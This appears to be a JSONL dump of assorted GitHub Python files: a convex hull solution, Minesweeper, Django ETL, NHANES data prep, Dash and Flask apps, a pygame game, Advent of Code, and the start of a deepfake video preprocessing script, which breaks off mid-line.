+{"seq_id":"38532626788","text":"class Solution:\n    def outerTrees(self, points: List[List[int]]) -> List[List[int]]:\n        if len(points) <= 2:\n            return points\n\n        def orient(p1, p2, p3):\n            return (p2[1] - p3[1]) * (p1[0] - p3[0]) - (p1[1] - p3[1]) * (p2[0] - p3[0])\n\n        points.sort(key=lambda x: (x[0], -x[1]))\n\n        bottom = points[0:2]\n\n        for p in points[2:]:\n            while len(bottom) >= 2 and orient(bottom[-2], bottom[-1], p) < 0: bottom.pop()\n            bottom.append(p)\n\n        top = points[::-1][0:2]\n\n        for p in points[::-1][2:]:\n            while len(top) >= 2 and orient(top[-2], top[-1], p) < 0: top.pop()\n            top.append(p)\n\n        return list(set([(i, j) for i, j in bottom + top[1:-1]]))\n","repo_name":"CrazySquirrel/Outtalent","sub_path":"Leetcode/587. Erect the Fence/solution1.py","file_name":"solution1.py","file_ext":"py","file_size_in_byte":734,"program_lang":"python","lang":"en","doc_type":"code","stars":57,"dataset":"github-code","pt":"60"}
+{"seq_id":"34119724914","text":"class MinesweeperFunctions:\n\t_STATUS_CODE = {\n\t\t'COVERED': '-',\n\t\t'FLAGGED': '#',\n\t\t'OPENED': '?',\n\t}\n\n\t_CONTENT_CODE = {\n\t\t'BOMB': '!',\n\t\t'0': ' ',\n\t\t'1': 1,\n\t\t'2': 2,\n\t\t'3': 3,\n\t\t'4': 4,\n\t\t'5': 5,\n\t\t'6': 6,\n\t\t'7': 7,\n\t\t'8': 8,\n\t}\n\n\t_CODES = {}\n\t_CODES.update(_STATUS_CODE)\n\t_CODES.update(_CONTENT_CODE)\n\n\t__MODE = None\n\n\tdef __init__(self, mode):\n\t\tif mode != 'status_on' and mode != 'status_off':\n\t\t\traise Exception('Must use the modes \\'status_on\\' or \\'status_off\\'')\n\t\tself.__MODE = mode\n\n\tdef _filterCells(self, board, cells, code, status_on=None):\n\t\tif code not in self._CODES:\n\t\t\treturn self._filterOtherCells(board, cells)\n\n\t\tif self.__MODE == 'status_off':\n\t\t\treturn [n for n in cells if board[n[0]][n[1]] == self._CODES[code]]\n\t\telse:\n\t\t\tif status_on is None:\n\t\t\t\traise Exception('Must call filter cells with status_on value set if in status_on mode')\n\t\t\telif status_on:\n\t\t\t\treturn [n for n in cells \n\t\t\t\t\tif board[n[0]][n[1]]['STATUS'] == self._STATUS_CODE[code]]\n\t\t\telse:\n\t\t\t\treturn [n for n in cells \n\t\t\t\t\tif board[n[0]][n[1]]['CONTENT'] == self._CONTENT_CODE[code]]\n\n\tdef _filterOtherCells(self, board, cells):\n\t\tnotOpened = []\n\t\tnotOpened.extend(self._filterCells(board, cells, 'COVERED'))\n\t\tnotOpened.extend(self._filterCells(board, cells, 'FLAGGED'))\n\t\tnotOpened.extend(self._filterCells(board, cells, 'OPENED'))\n\t\treturn [n for n in cells if n not in notOpened]\n\n\tdef _getAllNeighbors(self, board, cell):\n\t\t# These ranges specify a square around the given cell, \n\t\t# so nine coordinates will be added to the list\n\t\tx = cell[0]\n\t\ty = cell[1]\n\t\tcoordinates = [(x + i, y + j)\n\t\t\tfor i in range(-1,2)\n\t\t\tfor j in range(-1,2)]\n\n\t\t# If the cell is at the top, bottom, left, or right sides\n\t\t# of the board, then set the coordinates past the side \n\t\t# to None and later remove them from the return value\n\t\tif x == 0:\n\t\t\tcoordinates[0] = None\n\t\t\tcoordinates[1] = None\n\t\t\tcoordinates[2] = None\n\t\tif x == len(board) - 1:\n\t\t\tcoordinates[6] = None\n\t\t\tcoordinates[7] = None\n\t\t\tcoordinates[8] = None\n\t\tif y == 0:\n\t\t\tcoordinates[0] = None\n\t\t\tcoordinates[3] = None\n\t\t\tcoordinates[6] = None\n\t\tif y == len(board[0]) - 1:\n\t\t\tcoordinates[2] = None\n\t\t\tcoordinates[5] = None\n\t\t\tcoordinates[8] = None\n\n\t\t# Set coordinates for the given cell to None\n\t\tcoordinates[4] = None\n\t\t\n\t\treturn [c for c in coordinates if c is not None]\n\n\tdef _getNeighbors(self, board, cell, code=None):\n\t\tneighbors = self._getAllNeighbors(board, cell)\n\n\t\tif code is None:\n\t\t\treturn neighbors\n\t\telse:\n\t\t\treturn self._filterCells(board, neighbors, code)\n\n\tdef _countAllCells(self, board, code):\n\t\tall_cells = [(x, y)\n\t\t\tfor x in range(len(board))\n\t\t\tfor y in range(len(board[x]))]\n\t\treturn len(self._filterCells(board, all_cells, code))\n\n\tdef _countNeighbors(self, board, cell, code, status_on=None):\n\t\tneighbors = self._getAllNeighbors(board, cell)\n\t\treturn len(self._filterCells(board, neighbors, code, status_on=status_on))\n","repo_name":"sillylillie/Minesweeper","sub_path":"functionality.py","file_name":"functionality.py","file_ext":"py","file_size_in_byte":2897,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"13833668104","text":"from __future__ import print_function\nfrom six import text_type, binary_type\nfrom builtins import str as text\nfrom future.utils import iteritems\n\nfrom collections import OrderedDict\nfrom hashlib import md5\nfrom django.core.exceptions import ValidationError, FieldError\nfrom django.db.models import (Q, FieldDoesNotExist)\nfrom django.forms import DateTimeField\n\n\ndef get_unique_fields(model_class):\n    \"\"\"\n    Return model fields with unique=True.\n    \"\"\"\n    return [\n        f.name for f in model_class._meta.fields\n        if f.unique and not f.name == 'id']\n\n\ndef get_internal_type(field):\n    \"\"\"\n    Wrapper for Django 1.8.16 compatibility. Handles fields\n    without a .get_internal_type attribute, which don't need to\n    return an internal field.\n    \"\"\"\n    try:\n        return field.get_internal_type()\n    except AttributeError:\n        return None\n\n\ndef get_fields(model_class):\n    \"\"\"\n    Wrapper for Django 1.7 compatibility. Compatibility is\n    limited for performance reasons.\n    \"\"\"\n    try:\n        return model_class._meta.get_fields()\n    except AttributeError:\n        ret = []\n        for fn in model_class._meta.get_all_field_names():\n            try:\n                ret.append(model_class._meta.get_field(fn))\n            except FieldDoesNotExist:\n                pass\n        return ret\n\n\ndef get_unambiguous_fields(model_class):\n    \"\"\"\n    Returns unambiguous field or field combination from a Django Model\n    class. Will be used as a persistence criterion.\n    \"\"\"\n    unique_together = model_class._meta.unique_together\n    if unique_together:\n        return list(unique_together[0])\n    fields = get_fields(model_class)\n    # TODO: generalize in order to handle records with id field properly\n    unique_fields = [\n        field.name for field in fields if getattr(field, 'unique', None) and\n        field.name != 'id']\n    if len(unique_fields) == 0:\n        return []\n    if len(unique_fields) == 1:\n        return unique_fields\n    raise ValidationError(\n        'Failure to identify unambiguous field for {}'.format(model_class))\n\n\ndef get_unique_string_fields(model_class):\n    \"\"\"\n    Unique string fields are used to auto normalize ForeignKey\n    relations.\n    \"\"\"\n    return [\n        field for field in get_fields(model_class)\n        if get_internal_type(field) == 'CharField' and\n        field.unique]\n\n\nclass BaseGenerator(object):\n    persistence = None\n\n    def __init__(self, model_class, persistence=[], options={}):\n        self.model_class = model_class\n        self.related_instances = {}\n        self.create = options.get('create', True)\n        self.update = options.get('update', True)\n        self.related_field = options.get('related_field')\n        self.res = None\n        self.persistence = (\n            self.persistence or persistence or\n            get_unambiguous_fields(self.model_class))\n        if isinstance(self.persistence, (text_type, binary_type)):\n            self.persistence = [self.persistence]\n        self.model_fields = get_fields(self.model_class)\n        self.field_names = OrderedDict([\n            (field.name, get_internal_type(field))\n            for field in self.model_fields])\n        self.unique_string_fields = get_unique_string_fields(self.model_class)\n\n    def get_persistence_query(self, dic, persistence, update):\n        return dic, self.get_from_db(dic, persistence), update\n\n    def get_from_db(self, dic, lookup):\n        if lookup:\n            query = Q()\n            for fieldname in lookup:\n                value = dic.get(fieldname, None)\n                if value:\n                    query = query & Q(**{fieldname: value})\n            try:\n                return self.model_class.objects.filter(query)\n            except FieldError:\n                pass\n        return self.model_class.objects.none()\n\n    def create_in_db(self, dic):\n        return self.model_class.objects.create(**dic)\n\n    def update_in_db(self, dic, qs):\n        \"\"\"\n        Updates record in the database. Be aware of following changes\n        which were made for performance reasons.\n        1. Check for qs length was removed. If persistence queryset has more\n        than one model all will be updated. Secure in model setup or override.\n        2. The new setup will not trigger post save models.\n\n        Args:\n            dic(dict): Data dictionary.\n            qs(QuerySet): A django queryset.\n\n        Returns:\n            Model instance: First model instance.\n        \"\"\"\n        qs.update(**dic)\n        return qs[0]\n\n    def instance_from_dic(self, dic):\n        persistence = dic.pop('etl_persistence', self.persistence)\n        create = dic.pop('etl_create', self.create)\n        update = dic.pop('etl_update', self.update)\n        dic = self.prepare(dic)\n        dic, qs, update = self.get_persistence_query(dic, persistence, update)\n        dic = {item:dic[item] for item in dic if item in self.field_names}\n        if qs:\n            if update:\n                instance = self.update_in_db(dic, qs)\n                self.res = 'updated'\n                return instance\n            else:\n                self.res = 'exists'\n                return qs[0]\n        else:\n            if create:\n                instance = self.create_in_db(dic)\n                self.res = 'created'\n                return instance\n\n    def instance_from_int(self, intnumber):\n        query = {self.related_field or 'pk': intnumber}\n        try:\n            return self.model_class.objects.get(**query)\n        except self.model_class.DoesNotExist:\n            raise ValueError(\n                'Value {} for field {} does not exist in ForeignKey {}'.format(\n                    intnumber, self.related_field or 'pk', self.model_class))\n\n    def instance_from_str(self, string):\n       if len(self.unique_string_fields) == 1:\n            dic = {self.unique_string_fields[0].name: string}\n            return self.instance_from_dic(dic)\n\n    def assign_related(self, instance):\n        for (key, lst) in iteritems(self.related_instances):\n            field = getattr(instance, key)\n            try:\n                field.add(*lst)\n            except AttributeError:\n                generator = InstanceGenerator(field.through)\n                for item in lst:\n                    instance = generator.get_instance({\n                        field.source_field_name: instance.pk,\n                        field.target_field_name: item.pk,\n                        'etl_persistence': [\n                            field.source_field_name,\n                            field.target_field_name\n                        ]})\n\n    def get_instance(self, obj):\n        \"\"\"\n        Creates, updates, and returns an instance from a dictionary.\n        \"\"\"\n        if isinstance(obj, dict):\n            dic = obj.copy()\n            instance = self.instance_from_dic(dic)\n            self.assign_related(instance)\n            return instance\n        if isinstance(obj, self.model_class):\n            self.res = 'exists'\n            return obj\n        if isinstance(obj, int):\n            self.res = 'exists'\n            return self.instance_from_int(obj)\n        if isinstance(obj, (text_type, binary_type)):\n            return self.instance_from_str(obj)\n\n    def prepare(self, dic):\n        return dic\n\n    def finalize(self):\n        \"\"\"\n        Override this method to finalize your data generation job,\n        e.g. close files, write buffered data to disk or database, etc.\n        It will be called once the Loader finishes its loop.\n\n        Returns:\n            boolean: True if successful.\n        \"\"\"\n        return True\n\n\nclass InstanceGenerator(BaseGenerator):\n    preparations = {\n        'AutoField': 'prepare_none',\n        'ForeignKey': 'prepare_fk',\n        'OneToOneField': 'prepare_fk',\n        'ManyToManyField': 'prepare_m2m',\n        'DateTimeField': 'prepare_date',\n        'GeometryField': 'prepare_geometry',\n        'PointField': 'prepare_geometry',\n        'LineStringField': 'prepare_geometry',\n        'PolygonField': 'prepare_geometry',\n        'MultiPointField': 'prepare_geometry',\n        'MultiLineStringField': 'prepare_geometry',\n        'MultiPolygonField': 'prepare_geometry',\n        'CharField': 'prepare_text',\n        'TextField': 'prepare_text',\n        'BooleanField': 'prepare_boolean',\n        'IntegerField': 'prepare_integer',\n        'BigIntegerField': 'prepare_integer',\n        'FloatField': 'prepare_float',\n        'JSONField': 'prepare_text'}\n\n    def prepare_none(self, field, value):\n        return None\n\n    def prepare_field(self, field, value):\n        return value\n\n    def prepare_fk(self, field, value):\n        options = {'related_field': field.related_fields[0][1].name}\n        related = getattr(field, 'related_model')\n        return InstanceGenerator(\n            related, options=options).get_instance(value)\n\n    def prepare_m2m(self, field, lst):\n        \"\"\"\n        Defers assignment of related instances until instance creation is\n        finished.\n        \"\"\"\n        self.related_instances[field.name] = []\n        if not isinstance(lst, list):\n            lst = [lst]\n        for item in lst:\n            related = getattr(field, 'related_model')\n            generator = InstanceGenerator(related)\n            instance = generator.get_instance(item)\n            self.related_instances[field.name].append(instance)\n\n    def prepare_date(self, field, value):\n        if not (field.auto_now or field.auto_now_add):\n            formfield = DateTimeField(required=not field.null)\n            return formfield.clean(value)\n\n    def prepare_text(self, field, value):\n        if not isinstance(value, (text_type, binary_type)):\n            ret = text(value)\n        else:\n            ret = value\n        if hasattr(field, 'max_length'):\n            ret = ret[0:field.max_length]\n        return ret\n\n    def prepare_boolean(self, field, value):\n        if value:\n            return value in [1, '1', 'True', 'true', 't']\n        return False\n\n    def prepare_integer(self, field, value):\n        try:\n            return int(value)\n        except (ValueError, TypeError):\n            pass\n\n    def prepare_float(self, field, value):\n        try:\n            return float(value)\n        except (ValueError, TypeError):\n            pass\n\n    def prepare_geometry(self, field, value):\n        \"\"\"\n        Reduce geometry to two dimensions if GeometryField's\n        dim parameter is not set otherwise.\n        \"\"\"\n        from django.contrib.gis.geos import WKBWriter, GEOSGeometry\n        if isinstance(value, (str, text_type)):\n            value = GEOSGeometry(value)\n        wkb_writer = WKBWriter()\n        if isinstance(value, GEOSGeometry):\n            if value.hasz and field.dim == 2:\n                value = GEOSGeometry(wkb_writer.write(value))\n        return value\n\n    def prepare(self, dic):\n        ret = {}\n        for field in get_fields(self.model_class):\n            if field.name not in dic:\n                continue\n            fieldtype = get_internal_type(field)\n            prepare_function = getattr(\n                self, self.preparations[fieldtype], self.prepare_field)\n            res = prepare_function(field, dic.pop(field.name))\n            if res is not None:\n                ret[field.name] = res\n        return ret\n\n\nclass HashMixin(object):\n    \"\"\"\n    Mix-in adding hashing to Generators. Replaces persistence\n    criterion.\n    \"\"\"\n    hashfield = 'md5'\n    do_not_hash_fields = ['id', 'last_modified']\n\n    def get_persistence_query(self, dic, persistence, update):\n        dic = self.hash_dic(dic)\n        items = self.get_from_db(dic, [self.hashfield])\n        if len(items) > 0:\n            return dic, items, False\n        return dic, self.get_from_db(dic, persistence), update\n\n    def hash(self, dic):\n        text_representation = ''\n        fields = sorted([\n            field for field in dic\n            if field not in [self.hashfield] +\n            list(self.do_not_hash_fields)])\n        for field in fields:\n            text_representation += text(dic[field])\n        return md5(text_representation.encode('utf-8')).hexdigest()\n\n    def hash_dic(self, dic):\n        dic[self.hashfield] = self.hash(dic)\n        return dic\n","repo_name":"postfalk/django-etl-sync","sub_path":"etl_sync/generators.py","file_name":"generators.py","file_ext":"py","file_size_in_byte":12189,"program_lang":"python","lang":"en","doc_type":"code","stars":27,"dataset":"github-code","pt":"60"}
+{"seq_id":"11358314040","text":"# python 3\n# 79: -------------------------------------------------------------------------\n#\n# Process datasets: Merge datasets and recode categorical features\n#\n# Author(s): Yanhan Si\n# Updated: Nov 26, 2020\n# 79: -------------------------------------------------------------------------\n\nimport pandas as pd\nimport numpy as np\nimport os\n\n# List of file names to merge\nxpt_files = [\"DEMO.XPT\", \"TELO_A.XPT\", \"BMX.XPT\"]\n\ndef get_data(year):\n    \"\"\"\n    Return the merged data for a given year.\n\n    The NHANES data files must first be downloaded into the directory\n    data\n    \"\"\"\n    base = \"data\"\n\n    if year == 1999:\n        xpt_files_use = xpt_files\n    elif year == 2000:\n        xpt_files_use = [\"DEMO.XPT\", \"TELO_B.XPT\", \"BMX.XPT\"]\n    else:\n        raise ValueError(\"Please provide the files names!\")\n\n    # Retain these variables.\n    vars = [\n        [\"SEQN\", \"RIAGENDR\", \"RIDAGEYR\", \"RIDRETH1\"],\n        [\"SEQN\" , \"TELOMEAN\", \"TELOSTD\"],\n        [\"SEQN\", \"BMXWT\", \"BMXHT\", \"BMXBMI\", \"BMXLEG\", \"BMXARMC\"],\n    ]\n\n    # Load each individual file and keep only the variables of interest\n    da = []\n    for idf, fn in enumerate(xpt_files_use):\n        df = pd.read_sas(os.path.join(base, fn))\n        df = df.loc[:, vars[idf]]\n        da.append(df)\n\n    # SEQN is a common subject ID that can be used to merge the files.\n    # These are cross sectional (wide form) files, so there is at most\n    # one row per subject.  Subjects may be missing from a file if they\n    # did not participate in those assessments.  All subjects should be\n    # present in the demog file.\n    dx = pd.merge(da[0], da[1], left_on=\"SEQN\", right_on=\"SEQN\")\n    dx = pd.merge(dx, da[2], left_on=\"SEQN\", right_on=\"SEQN\")\n\n    # Recode sex as an indicator for female sex\n    dx[\"Female\"] = (dx.RIAGENDR == 2).astype(np.int)\n\n    # Recode the ethnic groups\n    dx[\"RIDRETH1\"] = dx.RIDRETH1.replace({1: \"MA\", 2: \"OH\", 3: \"NHW\", 4: \"NHB\", 5: \"OR\"})\n\n    # Drop rows with any missing data in the variables of interest\n    dx = dx.dropna()\n\n    return dx\n","repo_name":"yanhan-si/NHANES_telomere","sub_path":"data_prep.py","file_name":"data_prep.py","file_ext":"py","file_size_in_byte":2034,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"29201931315","text":"import dash_devices\nimport dash_bootstrap_components as dbc\nimport dash_html_components as html\nimport os\nimport posixpath\nimport quart\nimport secrets\n\nfrom .components.base import *\nfrom . import components\nfrom .utils import open_browser\nfrom .config import Config\n\ndef create_app(main_component,pathname_prefix='/',config=None,static_path=None,static_route='/static/',external_stylesheets=None,external_scripts=None):\n    server = quart.Quart(__name__)\n    SECRET_KEY=config.SECRET_KEY if config is not None else secrets.token_urlsafe(16)\n    server.secret_key=SECRET_KEY\n    if external_stylesheets is None:\n        external_stylesheets=[]\n    external_stylesheets.append(dbc.themes.BOOTSTRAP)\n\n    app = dash_devices.Dash(server=server,\n        url_base_pathname=pathname_prefix,\n        external_stylesheets=external_stylesheets,\n        external_scripts=external_scripts,\n        suppress_callback_exceptions=True)\n    app.scripts.config.serve_locally=True\n    app.css.config.serve_locally=True\n\n    #Download URL\n    components.Download.register(app,prefix=pathname_prefix)\n\n    # Create Dash Layout\n    main_app=main_component if isinstance(main_component,components.Component) else main_component(config)\n    app.layout=main_app.generate_layout()\n    components.generate_all_callbacks(app,verbose=0)\n\n    #Serve static files\n    if static_path is not None:\n        # for root, fols, files in os.walk(static_path):\n        #     url_path = posixpath.join(static_route, *[x for x in os.path.relpath(root,static_path).split(os.sep) if not x.startswith('.')])\n        @app.server.route('{}<path:file_path>/<filename>'.format(static_route))\n        async def serve_static(file_path,filename):\n            file_path=os.path.join(file_path,filename).replace('/',os.sep)\n            fullpath=os.path.join(static_path,file_path)\n            assert os.path.isfile(fullpath), f'The file {file_path} could not be found'\n            path,file=os.path.split(fullpath)\n            return await quart.send_from_directory(path,file)\n    return app\n\ndef start_app(main_component=None,dashapp=None,pathname_prefix='/',debug=True, dev_tools_ui=True, dev_tools_props_check=True, host='0.0.0.0',port=5000,config=None,\n            static_path=None,static_route='/static/',external_stylesheets=None,external_scripts=None):\n    assert main_component is not None or dashapp is not None, 'main_component or dashapp is required!'\n    if config is None:\n        config=Config()\n    if dashapp is None:\n        dashapp=create_app(main_component,pathname_prefix='/',config=config,static_path=static_path,\n                        static_route=static_route,external_stylesheets=external_stylesheets,external_scripts=external_scripts)\n    app=dashapp.server\n    dashapp.run_server(debug=debug, dev_tools_ui=dev_tools_ui, dev_tools_props_check=dev_tools_props_check, host=host,port=port)\n\ndef start_basic_server():\n    #Start a basic dash server on port 5000\n    class Main(components.Component):\n        def layout(self):\n            self.full_layout=html.Div('Test Dash server')\n            return self.full_layout\n    start_app(Main())\n","repo_name":"sdswart/pysts","sub_path":"pysts/dash/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":3114,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"37050000934","text":"import sys \nsys.path.append('Lib')\nsys.path.append('/C/Users/krzys/AppData/Local/Programs/Python/Python38-32/Scripts')\nfrom flask import Flask, render_template, request, url_for, jsonify\nimport numpy as np\nfrom joblib import dump, load\nimport pickle\nimport json\n#get news url\nimport requests\nfrom bs4 import BeautifulSoup\n#mongodb\nfrom pymongo import MongoClient\nimport password\n\n# PASSOWRD FILE NOT INCLUDED IN THE PROJECT FILES.\n\n# start a mongodb client\nclient = MongoClient(f'mongodb://c1968648:{password.PASSWORD}@csmongo.cs.cf.ac.uk:27017/c1968648',ssl=True)\n\n# create an object of our database\ndb = client.c1968648\n\n### REMEMBER THE CATEGORY MAP ###\n#{'chemistry': 0, 'economics': 1, 'literature': 2, 'peace': 3, 'physics': 4, 'medicine': 5}\n\ncmap = dict([(b,a) for a,b in {'Atheism': 0, 'Computer graphics': 1, 'Computers - MS Windows': 2, 'Computer systems, IBM hardware': 3, 'Computers - Mac hardware': 4, \n\t\t\t\t\t\t\t\t'Computers - Windows 10': 5, 'Forsale': 6, 'Autos': 7, 'Motorcycles': 8, 'Sport - Baseball': 9, 'Sport - Hockey': 10,\n\t\t\t\t\t\t\t\t'Science - Cryptography': 11, 'Science - Electronics': 12, 'Science - Medicine': 13, 'Scinece - Space': 14, \n\t\t\t\t\t\t\t\t'Sociology Religion Christian': 15, 'Politics Guns': 16, 'Politics Mid-East': 17, 'Politics Mixed': 18, 'Religion Mixed': 19}.items()])\n\napp = Flask(__name__)\n\n@app.route('/')\ndef form():\n\treturn render_template('index.html')\n\n@app.route('/submitted', methods=['POST'])\ndef submitted_form():\n\tvectorizer = load('models/vectorizer.joblib')\n\t#vectorizer = pickle.load(open('models/tfidf_vectorizer.vec', 'rb'))\n\tprint('vectorizer loaded')\t\n\tmodel = load('models/model.joblib')\n\t#model = pickle.load(open('models/tfidf_lr.model', 'rb'))\n\tprint('model loaded')\n\t#get the url of the BBC news article and convert it into text\n\tuser_url=request.form['input_text']\n\tres = requests.get(user_url)\n\tsoup = BeautifulSoup(res.text, 'html.parser')\n\turl_text = soup.find('div', { \"class\" : \"story-body__inner\" }).text #the story-board__inner class is the div in which the article content is placed on the BBC webpage  \n\ttext=request.form[url_text]\n\tvec=vectorizer.transform([text])\n\tpred=model.predict(vec)[0]\n\tpred=cmap[pred]\n\tprint('prediction: ',pred)\n\treturn render_template(\n\t'predicted_form.html',\n\tsentence=text,\n\tprediction=pred)\n\n@app.route('/feedback_received', methods=['POST'])\ndef feedback_received():\n\tprint('request: ',list(request.form.keys()))\n\tfeedback = request.form['feedback']\t\n\tsentence = request.form['sentence']\n\tprediction = request.form['prediction']\n\tprint('prediction: ', prediction)\n\tprint('feedback: ',feedback)\n\tprint('sentence: ',sentence)\n\tdocs = [\n\t\t{'category':prediction,\n\t\t'value':sentence}\n\t]\n\tif feedback == 'correct':\n\t\tfor d in docs:\n\t\t\tdb.predictions.insert_one(d)\n\t\treturn render_template('feedback_received.html', sentence=sentence, feedback=feedback, prediction=prediction)\n\telse:\n\t\treturn render_template('incorrect.html', sentence=sentence)\n\n\nif __name__ == '__main__':\n    app.run(host='127.0.0.1', port=8080, debug=True)\n","repo_name":"krzysztof-rachwal/FlaskApp","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":3023,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"26411314715","text":"import pygame\nfrom settings import Settings\nfrom ship import Ship\nimport game_functions as gf\nfrom pygame.sprite import Group\nfrom game_stats import GameStats\nfrom button import Button\nfrom scoreboard import Scoreboard\n\n\ndef run_game():\n    # Initialize a pygame, settings and create screen, ship objects\n    pygame.init()\n    ai_settings = Settings()\n    screen = pygame.display.set_mode((ai_settings.screen_width, ai_settings.screen_height))\n    pygame.display.set_caption(\"Alien Invasion\")\n    # Create button object\n    play_button = Button(ai_settings, screen, \"Play\")\n    # Create game_statistics and score board objects\n    stats = GameStats(ai_settings)\n    sb = Scoreboard(ai_settings, screen, stats)\n    # Create ship object\n    ship = Ship(ai_settings, screen)\n    # Create groups for bullets and aliens storing\n    bullets = Group()\n    aliens = Group()\n    # Create alien fleet\n    gf.create_fleet(ai_settings, screen, ship, aliens)\n    # Start main game cycle\n    while True:\n        # Tracking keyboard and mouse events\n        gf.check_events(ai_settings, screen, stats, sb, play_button, ship,\n                        aliens, bullets)\n        if stats.game_active:\n            ship.update()\n            bullets.update()\n            gf.update_bullets(ai_settings, screen, stats, sb, ship, aliens,\n                              bullets)\n            gf.update_aliens(ai_settings, stats, sb, screen, ship, aliens, bullets)\n        gf.update_screen(ai_settings, screen, stats, sb, ship, aliens,\n                         bullets, play_button)\n\n\nrun_game()\n","repo_name":"LegionGomel/BewareAliens","sub_path":"alien_invasion.py","file_name":"alien_invasion.py","file_ext":"py","file_size_in_byte":1566,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"37258400617","text":"import string\n\nletter_values = dict()\nletters = string.ascii_lowercase + string.ascii_uppercase\nfor index, letter in enumerate(letters):\n    letter_values[letter] = index + 1\n\n\ndef get_common_element(bagA: list[str], bagB: list[str]) -> str:\n    bagA.sort()\n    bagB.sort()\n\n    bagAPointer: int = 0\n    bagBPointer: int = 0\n\n    while(bagAPointer < len(bagA) and bagBPointer < len(bagB)):\n        itemA = bagA[bagAPointer]\n        itemB = bagB[bagBPointer]\n        if itemA == itemB:\n            # Match!\n            return itemA\n        elif itemA < itemB:\n            # Go next\n            bagAPointer+= 1\n        elif itemB < itemA:\n            # Look ahead in B\n            bagBPointer+= 1\n\ndef get_badge_for_group(group: list[str]) -> str:\n    bagA = group[0]\n    bagB = group[1]\n    bagC = group[2]\n    common_elements = get_common_element(bagA, bagB)\n\n    return \"\"\n\n\ndef main_2():\n    with open(\"input.txt\") as file:\n        badges_found: list[str] = []\n        cur_group: list[str] = []\n        for line, index in file:\n            if(index % 3 == 0):\n                group_badge = get_badge_for_group(cur_group)\n                badges_found.append(group_badge)\n                cur_group = []\n            cur_group.append(line)\n            \n\ndef main():\n    with open(\"input.txt\") as file:\n        common_elements: list[str] = []\n        for line in file:\n            mid_point = int(len(line) / 2)\n            compartmentA: list[str] = [*line[0 : mid_point]]\n            compartmentB: list[str] = [*line[mid_point: len(line) - 1]]\n            common_elements.appen(get_common_element(compartmentA, compartmentB))\n            \n        print(sum(list(map(lambda element: letter_values[element], common_elements))))\n\n\nif __name__ == \"__main__\":\n    main_2()","repo_name":"MagerlinC/AdventOfCode2022","sub_path":"day3/day3.py","file_name":"day3.py","file_ext":"py","file_size_in_byte":1765,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"11176472725","text":"# http://www.scikit-video.org/stable/io.html\n# https://github.com/abewley/sort\n# https://stackoverflow.com/questions/32609098/how-to-fast-change-image-brightness-with-python-opencv/50757596\n# https://github.com/danmohaha/DSP-FWA\n# http://krasserm.github.io/2018/02/07/deep-face-recognition/\n# https://docs.opencv.org/2.4/modules/highgui/doc/reading_and_writing_images_and_video.html?highlight=videocapture\n\n#!pip install scikit-video\n#!pip install dlib\n#!pip install filterpy\n\nimport os\nimport sys\nimport glob\nimport json\nimport cv2\nfrom PIL import Image\nimport numpy as np\nimport pandas as pd\nimport torch\nfrom itertools import product, chain\nfrom time import time\nimport datetime\nimport collections\nfrom tqdm import tqdm\nimport skvideo.io\nimport skvideo.datasets\nimport random\nimport optparse\nimport itertools\nimport matplotlib.pylab as plt\nimport warnings\nfrom torch.utils.data import Dataset, DataLoader\nwarnings.filterwarnings(\"ignore\")\n\ndevice = 'cuda:0' if torch.cuda.is_available() else 'cpu'\nprint(f'Running on device: {device}')\n\n# Print info about environments\nparser = optparse.OptionParser()\nparser.add_option('-a', '--seed', action=\"store\", dest=\"seed\", help=\"model seed\", default=\"1234\")\nparser.add_option('-b', '--fold', action=\"store\", dest=\"fold\", help=\"Fold for split\", default=\"0\")\nparser.add_option('-c', '--rootpath', action=\"store\", dest=\"rootpath\", help=\"root directory\", default=\"\")\nparser.add_option('-d', '--vidpath', action=\"store\", dest=\"vidpath\", help=\"root directory\", default=\"data/mount/video/train\")\nparser.add_option('-e', '--imgpath', action=\"store\", dest=\"imgpath\", help=\"root directory\", default=\"data/mount/npimg/train\")\nparser.add_option('-f', '--wtspath', action=\"store\", dest=\"wtspath\", help=\"root directory\", default=\"weights\")\nparser.add_option('-g', '--fps', action=\"store\", dest=\"fps\", help=\"Frames per second\", default=\"8\")\nparser.add_option('-i', '--size', action=\"store\", dest=\"size\", help=\"image size\", default=\"224\")\nparser.add_option('-j', '--metafile', action=\"store\", dest=\"metafile\", help=\"Meta file\", default=\"trainmeta.csv.gz\")\nparser.add_option('-k', '--startsize', action=\"store\", dest=\"startsize\", help=\"Starting video resize dim\", default=\"640\")\nparser.add_option('-l', '--batchsize', action=\"store\", dest=\"batchsize\", help=\"Batch size\", default=\"64\")\nparser.add_option('-m', '--loadseconds', action=\"store\", dest=\"loadseconds\", help=\"Seconds to load from video\", default=\"12\")\n\n\noptions, args = parser.parse_args()\nINPATH = options.rootpath\n\nsys.path.append(os.path.join(INPATH))\nfrom utils.sort import *\nfrom utils.logs import get_logger\nfrom utils.utils import dumpobj, loadobj, chunks\nfrom utils.utils import cfg_re50, cfg_mnet, decode_landm, decode, PriorBox\nfrom utils.utils import py_cpu_nms, load_fd_model, remove_prefix\nfrom utils.retinaface import RetinaFace\nwarnings.filterwarnings(\"ignore\")\n\n# Print info about environments\nlogger = get_logger('Video to image :', 'INFO') \nlogger.info('Cuda set up : time {}'.format(datetime.datetime.now().time()))\n\ndevice=torch.device('cuda')\nlogger.info('Device : {}'.format(torch.cuda.get_device_name(0)))\nlogger.info('Cuda available : {}'.format(torch.cuda.is_available()))\nn_gpu = torch.cuda.device_count()\nlogger.info('Cuda n_gpus : {}'.format(n_gpu ))\n\n\nlogger.info('Load params : time {}'.format(datetime.datetime.now().time()))\nfor (k,v) in options.__dict__.items():\n    logger.info('{}{}'.format(k.ljust(20), v))\n    \n'''\nINPATH='/Users/dhanley2/Documents/Personal/dfake'\nSIZE=224\nFOLD=0\nMAXLOADSECONDS=3\nMETAFILE = os.path.join(INPATH, 'data', options.metafile)\n'''\n\nSEED = int(options.seed)\nSIZE = int(options.size)\nFOLD = int(options.fold)\nMAXLOADSECONDS = int(options.loadseconds 